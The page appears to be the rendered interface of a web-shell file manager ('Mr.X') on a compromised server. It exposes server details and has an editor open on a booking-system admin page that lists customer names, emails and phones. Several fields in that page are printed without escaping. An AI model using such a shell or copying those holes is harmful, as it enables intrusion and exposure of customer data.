🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:bookings.php
<?php define('PAGE_TITLE', 'Bookings'); require_once 'includes/header.php'; $bookings = $conn->query("SELECT b.*, p.name as pname, c.name as cname, cu.name as customer_name, cu.email as customer_email, cu.phone as customer_phone FROM bookings b JOIN packages p ON b.package_id=p.id JOIN categories c ON b.category_id=c.id JOIN customers cu ON b.customer_id=cu.id ORDER BY b.created_at DESC")->fetch_all(MYSQLI_ASSOC); ?> <div class="d-flex justify-content-between align-items-center mb-4"> <h4 class="fw-bold text-navy mb-0"><i class="bi bi-calendar-check text-warning me-2"></i>All Bookings</h4> <a href="booking-export.php" class="btn btn-sm btn-outline-premium"><i class="bi bi-download me-1"></i>Export CSV</a> </div> <div class="premium-card p-4"> <div class="table-responsive"> <table class="table table-hover datatable"> <thead><tr><th>ID</th><th>Booking#</th><th>Customer</th><th>Package</th><th>Date</th><th>Total</th><th>Status</th><th>Payment</th><th>Action</th></tr></thead> <tbody><?php foreach ($bookings as $b): ?> <tr><td><?= $b['id'] ?></td><td><strong><?= $b['booking_id'] ?></strong></td> <td><?= htmlspecialchars($b['customer_name']) ?><br><small class="text-muted"><?= $b['customer_phone'] ?></small></td> <td><?= $b['pname'] ?></td><td><?= date('d M Y', strtotime($b['event_date'])) ?></td> <td><?= formatPrice($b['total_price']) ?></td><td><?= getStatusBadge($b['status']) ?></td> <td><?= getStatusBadge($b['payment_status']) ?></td> <td><div class="btn-group btn-group-sm"> <a href="booking-details.php?id=<?= $b['id'] ?>" class="btn btn-outline-premium"><i class="bi bi-eye"></i></a> <a href="booking-edit.php?id=<?= $b['id'] ?>" class="btn btn-outline-secondary"><i class="bi bi-pencil"></i></a> <button onclick="deleteBooking(<?= $b['id'] ?>)" class="btn btn-outline-danger"><i class="bi bi-trash"></i></button> </div></td></tr> <?php endforeach; ?></tbody> </table> </div> </div> <script> function deleteBooking(id) { Swal.fire({ title:'Delete Booking?',text:'This cannot be undone!',icon:'warning',showCancelButton:true,confirmButtonColor:'#d33',confirmButtonText:'Delete' }).then(r=>{if(r.isConfirmed){ $.post(siteUrl+'ajax/admin_delete.php',{type:'booking',id:id},function(res){if(res.success){Swal.fire('Deleted!','','success').then(()=>location.reload())}else{Swal.fire('Error',res.message,'error')}},'json'); }}); } </script> <?php require_once 'includes/footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder